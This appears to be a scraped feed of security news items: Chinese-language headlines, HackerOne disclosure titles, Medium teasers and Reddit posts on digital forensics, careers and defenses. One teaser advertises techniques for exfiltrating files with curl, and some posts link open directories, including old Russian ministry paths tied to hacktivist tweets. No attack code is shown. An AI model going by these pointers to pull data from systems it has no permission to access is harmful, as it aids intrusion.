在俄乌冲突升级背景下，美国参议院选择一致通过《加强美国网络安全法》。

网络钓鱼（Phishing，与钓鱼的英语fishing发音相近，又名钓鱼式攻击），通过冒充银行或其他知名机构向受害者发送欺骗性邮件，引诱收信人提供自己的敏感信息（如用户名、口令、ATM交易密码或

数据泄漏和影子资产是全球大型组织面临网络攻击的最大来源。

它主要通过微软的应用商店以计算机木马游戏应用程序的形式入侵。

隶属于匿名者的黑客组织宣布关闭俄罗斯航天局的控制中心。

俄罗斯总统普京宣布在乌克兰东部的顿巴斯地区进行特别军事行动。除了现实热战争以外，俄罗斯-乌克兰之间的“网络战”其实早已拉开序幕。

给积极防御人员的对手交战指导建议

3月2日上午，为期两天的「CIS 2021网络安全创新大会Spring·春日版」在上海宝华万豪酒店开启线下录制。

虚拟货币已成为BO彩平台充值、提现通道的“宠儿”，原先占主要地位的微信、支付宝等第三方充值方式，在某些BO彩平台逐渐销声匿迹。

有人对于HTTP和HTTPS，发出了疑问，小编收集了几个常见的问题，为您解答，希望在最大程度上帮助到您，让您更深层次了解HTTP与HTTPS。

最近，APT29 又转换了攻击目标，将视线从SloarWinds转移到了大使馆。

IcedID 是最早在 2017 年被披露的模块化银行木马，也是近年来最流行的恶意软件家族之一。

数据分类分级能够有效促进金融数据在机构间、行业内的安全共享，有利于金融行业数据价值的挖掘与实现。

TikTok disclosed a bug submitted by datph4m: https://hackerone.com/reports/1475520 - Bounty: $5000

TikTok disclosed a bug submitted by lu3ky-13: https://hackerone.com/reports/1378533 - Bounty: $500

Pornhub disclosed a bug submitted by wh0ru: https://hackerone.com/reports/1354161 - Bounty: $750

Hello everyone! Today im going to explain how i found a 4300$ IDOR Bug on Instagram. Continue reading on Medium »

1. Nmap (Network Mapper) Continue reading on Medium »

What is the John The Riper? Continue reading on Medium »

Hello, Continue reading on Medium »

Hello people, it’s me again. In most cases, with automated tools, you can possibly find low level security bugs i.e most likely Blind XSS… Continue reading on Medium »

I was trying to improve my static analysis code, specifically django apps, so i decided to hack a random project in github. And i found… Continue reading on Medium »

As the Pandora community continues to grow stronger with each passing day, we would like to take this opportunity to thank everyone for… Continue reading on Pandora Protocol »

Secrets in code Continue reading on CodeX »

Vulnerability Category: Business Logic Error Continue reading on Medium »

Cre : https://medium.com/@fcwdbrqmr/400-bounty-again-using-google-dorks-6dc8e438f017 Continue reading on Medium »

Hi there, hoping some of you are Magnet Axiom users and may be able to help me with this conundrum I have *some nonessential information has been altered for protection*: I have received a Portable Case from someone who has full license to the platform. I understand how the Portable Case is created (via watching the Magnet tutorial videos). The Portable Case is supposed to contain the contents of John Doe's cell phone. Separately, I have Snapchat Returns for John Doe's Snapchat account, and as far as is known John Doe only owned the one aforementioned cell phone. In looking at the Artifacts in the Portable Case, there seem to be things missing. For example: The Portable Case is supposed to cover a time period of 01/01/2XXX through 05/15/2XXX. When comparing the Snapchat Returns > Snapchat Memories I am able to see a specific video file - I'll call it "Selfie A" - from 02/03/2XXX 08-48-56 UTC. But when looking at the Portable Case > CHAT > Snapchat Memories artifacts there is no corresponding artifact. There are other video artifacts from that same date and around that time, but not "Selfie A." There are many files I have identified with this same issue. So now the question: I will admit I have not had formal training on Axiom (nor am I a digital forensics professional by trade) so I am willing to withhold suspicion for now, but, is it possible that artifacts could appear from Snapchat Returns that were missed in Axiom? Maybe "Selfie A" was deleted from the phone so it doesn't appear in Axiom but it does appear in the Returns data from Snapchat? (I hate even typing that question because I know even "deleted" things can be forensically recovered but go with me here). Or, is it more likely that the "Selfie A" artifact is visible in the Snapchat Returns but not in the Portable Case because the creator of said Portable Case chose not to include the artifact? submitted by /u/mclaughlinkessell [link] [comments]

Hi all, I have just enrolled for the SEC599 (OnDemand) and will be going through the GDAT exam as well. Are there any tips which could help me prepare better and pass the exam? My intro - Have been into SOC and IR for 5+ years now, and this is going to be my first certification submitted by /u/Suchi-Bee [link] [comments]

Hey Guys I work in law and as you probably have experienced we are stunningly ignorant on computer forensics. When I have a bit of time I like to research various computer forensic things and evidence from browsers are quite fascinating to me. I have two questions that I'd love help answering. 1) I'm assuming that this is a stupid/ basic question but I read that pictures in the cache are copies of the original essentially and as such they would contain meta data like locations and so on, is that also correct for stuff in the pagefile? 2) I've messed around with the belkasoft software trail run to view the pagefile on my PC, the categories that the data is broken up into is fairly understandable browsers, instant messengers. And they contain images and urls. However there is a category called other files and I'm not sure what is contained in them? submitted by /u/curiousstudent99l [link] [comments]

​ ​ https://46.mangovideo.pw/contents/videos/ http://server217.mangovideo.pw/contents/videos/ https://177.mangovideo.pw/contents/videos/ https://68.mangovideo.pw/contents/videos/ https://server9.mangovideo.pw/contents/videos/ https://45.mangovideo.pw/contents/videos/ https://new.mangovideo.pw/contents/videos/ https://5.mangovideo.pw/contents/videos/ https://234.mangovideo.pw/contents/videos/ https://183.mangovideo.pw/contents/videos/ https://31.mangovideo.pw/contents/videos/ https://60.mangovideo.pw/contents/videos/ https://s10.mangovideo.pw/contents/videos/ https://183.mangovideo.pw/contents/videos/ submitted by /u/TiThelis [link] [comments]

submitted by /u/throwaway176535 [link] [comments]

A tech at Verizon put his personal SIM in my phone to see if it could support the network. I'm attempting to change from ATT to Verizon on my unlocked android phone. A little while later, a notification from google that his personal phone number has been added to my Google account(s), alongside my own phone #. Does this mean that you can access someone's Google account(s) by surreptitiously inserting a SIM into their phone, even if you don't have their pin# or severed finger? submitted by /u/Dougolicious [link] [comments]

I recently disclosed a unauthenticated RCE to a company that provides virtual network appliances, the process was going good and they patched the vulnerability, but upon my request for patch release/notes they ghosted me. I already have CVE numbers assigned but would like to have mitre publish them but don't know what to do if the company is not being cooperative, anyone have any suggestions? submitted by /u/BasedThug [link] [comments]

I have 6 years of experience as a software engineer, and recently started working as an Application Security Engineer doing mostly static and dynamic analysis of our apps. I have plenty of books and online courses to work through, and recently started tinkering with HackTheBox. I thought about pursuing the OSCP cert. Realistically with a full-time security job and other obligations I probably won't be able to commit all my spare time to this, so the 30/60/90 day lab access periods probably won't be enough time to finish the course. The 1 year long lab access is $2500, which is quite a steep price. I'm curious to know if the OSCP training will benefit me in a way that my job and HackTheBox won't. submitted by /u/cppnewb [link] [comments]

Hi , I'm working for a company which is ISO 27001:2013 certified and i was asked to do a GAP analysis on ISO 27001:2021 stranded. So If there are any useful article or any references , please share it. TIA submitted by /u/darkwolf-95 [link] [comments]

Hey all, Wondering what your thoughts are on kaspersky as an AV tool, and as a company given recent events. Do you think with all the independent reviewers that they could still be compromised by say KGB/Russian government? Sorry, not trying to be political, but the recent events can be directly tied to multiple netsec topics. submitted by /u/Fizgriz [link] [comments]

submitted by /u/mufinnnnnnn [link] [comments]

submitted by /u/CyberMasterV [link] [comments]

submitted by /u/oldrobgin [link] [comments]

submitted by /u/cyberbutler [link] [comments]

合作方数据安全闭环管理实践 by ourren 更多最新文章，请访问SecWiki

合作方数据安全闭环管理实践 by ourren 更多最新文章，请访问SecWiki

This post outlines techniques to exfiltrate files using curl and encode, encrypt, and save captured files using a custom Flask Web Server Continue reading on Maveris Labs »

No content preview

No content preview

No content preview

One fine day I was Scrolling through tweets and my eyes got a tweet that Dan Conn tweeted a osint challenge on Oct 5, 2021 mentioning his… Continue reading on Medium »

Maltego is a tool for OSINT and visual link analysis. It can pull data from multiple sources to explore the properties of entities and the… Continue reading on Medium »

Our recent articles mostly tell about Lampyre’s OSINT capabilities. This one will be different as it describes the data analysis side of… Continue reading on Medium »

Scans of more than 200,000 infusion pumps on the networks of hospitals and other healthcare organizations found 75% had known security gaps. The post Know Your Infusion Pump Vulnerabilities and Secure Your Healthcare Organization appeared first on Unit42.

苹果表示，在俄罗斯对乌克兰发动攻击后，它已经停止在俄罗斯销售其产品并限制苹果支付功能。

挖矿木马最大的一个特征就是cpu资源占用非常高，top命令查看cpu情况，可以看出xmr这个进程占用cpu资源很高。

截至目前，尚有107款APP未完成整改，洋码头、中公教育等APP在列。

Is this even possible? I was given the material yesterday. I have some training under my belt, but overall still a noob when it comes to DFIR. Currently sitting through a 6 day course with a SANS instructor, but I feel like I am getting the exact same information from just reading the books. My experience in IT is less than 2 years and all training. Sec+ being my only previous cert. submitted by /u/SnooDogs3246 [link] [comments]

This is where all non-forensic data recovery questions should be asked. Please see below for examples of non-forensic data recovery questions that are welcome as comments within this post but are NOT welcome as posts in our subreddit: My phone broke. Can you help me recover/backup my contacts and text messages? I accidently wiped my hard drive. Can you help me recover my files? I lost messages on Instagram, SnapChat, Facebook, ect. Can you help me recover them? Please note that your question is far more likely to be answered if you describe the whole context of the situation and include as many technical details as possible. One or two sentence questions (such as the ones above) are permissible but are likely to be ignored by our community members as they do not contain the information needed to answer your question. A good example of a non-forensic data recovery question that is detailed enough to be answered is listed below: "Hello. My kid was playing around on my laptop and deleted a very important Microsoft Word document that I had saved on my desktop. I checked the recycle bin and its not there. My laptop is a Dell Inspiron 15 3000 with a 256gb SSD as the main drive and has Windows 10 installed on it. Is there any advice you can give that will help me recover it?" After replying to this post with a non-forensic data recovery question, you might also want to check out r/datarecovery since that subreddit is devoted specifically to answering questions such as the ones asked in this post. submitted by /u/AutoModerator [link] [comments]

Last week we ran a stream about forensic hardware and got A LOT of general digital forensic questions. It might be interesting to anyone new to computer forensics. Use the chapter times in the video description to jump around. We also talk about hardware write blockers and forensic imagers. https://youtu.be/O1bZvGqmP1Y submitted by /u/DFIRScience [link] [comments]

Hello everyone! I have worked in infosec and IT for 6 years in incident response roles for companies ranging from startups to fortune 50. I currently work at a startup local cybersecurity firm where I am an incident response engineer and consultant. I handle everything on the IR side including ransomware cases, business email compromise, data theft, threat hunting, and compromise assessments. I also have my GSEC, GCIH, GCFE, and GCFA certifications. I love what I do, but I am burnt out. I’m tired of being on call 24/7/365, never being able to bring any of the criminals I work against to justice, and much more. My family and I are settling down, and I am interested in transitioning to a more traditional digital forensics role working on criminal cases. I want to have a more steady, stable case load, and actually see the results of my work helping bring people to justice. I was wondering if any of you have made a similar transition, and if there are any recommendations or insights that could help me make this switch. I have read the FAQ here and am looking for new jobs in this space, but would love to get some input from this community. Any thoughts? submitted by /u/horizon44 [link] [comments]

A customizable hash list is a must! Thanks submitted by /u/DHZX [link] [comments]

submitted by /u/Flaky_Tonight3305 [link] [comments]

Anybody know where there is an updated version of the open directories addon for Kodi? We had an addon for Kodi version 18 Leia, but since that version relied on python 2, we now need an updated version for python 3. Or something similar. submitted by /u/studio222 [link] [comments]

http://ftp.kameli.net/pub/pkpvideos/ submitted by /u/inoculatemedia [link] [comments]

The sites seem to be down but I will provide the links in case they are back on. https://old.economy.gov.ru/minec/resources/ https://old.economy.gov.ru/wps/wcm/connect/economylib4/designElements/resources/ These are the tweets that link me there: https://twitter.com/youranonone/status/1498685800241934342?s=21 https://twitter.com/anonymous_link/status/1498607316836536320?s=21 submitted by /u/__babygiraffe__ [link] [comments]

I read two books about web application security. Web Application Security: Exploitation and Countermeasures for Modern Web Applications Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities But I didn't practice enough. I have multiple options to practice it Port Swigger Web Security Academy bWAPP Vulnerability Disclosure Programs on HackerOne As I said I already read books about this topic, maybe I don't need to read PortSwigger Academy Articles. bWAPP is good but it consists lots of vulnerabilities and I can't figure out how to prepare a work plan for that (Because of vulnerability count and expertise levels). VDPs on HackerOne are good because they are real-life challenges but I don't even know I am ready or not for testing real applications. I am open to any advice. submitted by /u/pacman0026 [link] [comments]

I am looking for a solution to work with and detonate potentially malicious files & malware. A isolated (from rest of LAN) malware sandbox .. with Internet access. I have been considering a Type 2 hypervisor such as VirtualBox running Windows 10 Pro. it seems if I go with this solution I may need a 2nd VM running a Firewall to ensure the Win10VM cannot spread malware to other devices on the LAN. Seeking input on other methods or options to build such a environment. submitted by /u/q_logsource [link] [comments]

Hello. I want to use Azure Kubernetes environment for running Azure DevOps build agents. Besides, tried to make the environment secure, by following the principle of least privilege. As a result - Dockerfile and Pod's definition which runs container as an unprivileged user (nobody) on a read only filesystem (except /tmp and /azp paths). What else could be done to improve environment's security? submitted by /u/groovy-sky [link] [comments]

Currently I work as SOC analyst, I do like studying and coding, so after work I usually study some stuff related to security, but from time to time I find myself starting new courses without finishing anything, and read about different topics, but can't focus, which waste much time and effort. I'm not sure if anyone else faces the same issue and how can I focus more? submitted by /u/xoutisx [link] [comments]

Specifically, imagine a Virtual Reality tool that would allow you to navigate your entire network in a three dimensional space, to detect vulnerabilities and such. The first barrier that comes to mind would be cost of equipment, especially if organizations need to buy multiple headsets for their employees. But what other barriers do you forsee? VR is already pretty popular, so I'm surprised its not already more adopted in this space. Disclaimer: I work for a VR startup in the NetSec space and we are trying to gather feedback from NetSec professionals. You can visit our website if you want to learn more, we are offering headsets in exchange for good user feedback. There's a survey link on our contact us page: https://valkure.com TIA submitted by /u/loshofficial [link] [comments]

Anyone ever experience this? I'm the last technical infosec person left on a former team of ~14 people. Now we have replaced the entire infosec team with IT/non-infosec people, who are all basically entry-level in infosec, although they may have skills in other areas such as IT/cloud. I feel genuinely concerned because it's clear none of them have the skills, knowledge or experience to do anything in these job functions security wise. They are just having tons of random meetings to try and figure out what to do next, and not actually getting anything done. They've been "talking" about what to do for 9 months. It's starting to feel like a scam, and I'm having to hold people's hands with extremely basic scripting and technical tasks. At first it was cool, because I had the opportunity to mentor them, but NOTHING is getting done. What the hell is going on? submitted by /u/netipotty [link] [comments]

I'm concerned about malware which uses DNS channels to communicate home. I'm thinking about ways to mitigate this threat for my servers, and the most obvious measure that comes to mind, is to have my DNS resolver block recursive lookups to zones which are not whitelisted. So, the plan is to (1) make my firewall block all DNS traffic from my server except to my own resolver, and (2) have my own resolver block all lookups to non-whitelisted zones. So e.g., a lookup to *.microsoft.com would be recursively resolved, but not a lookup to *.evildomain.com. When Google searching for ways to mitigate DNS tunneling, this is not a commonly suggested countermeasure. Most blogs and articles answer this question by referring to some expensive, "smart", enterprisey DNS filter. Is my countermeasure less easy than it sounds? If not, why is this countermeasure not more common? submitted by /u/engineerL [link] [comments]

Every job has pros and cons. What do you think about being a SOC analyst? A lot of people are saying about stress and over working. Maybe it's not worth being a SOC analyst? What do you guys think? submitted by /u/umuttosun [link] [comments]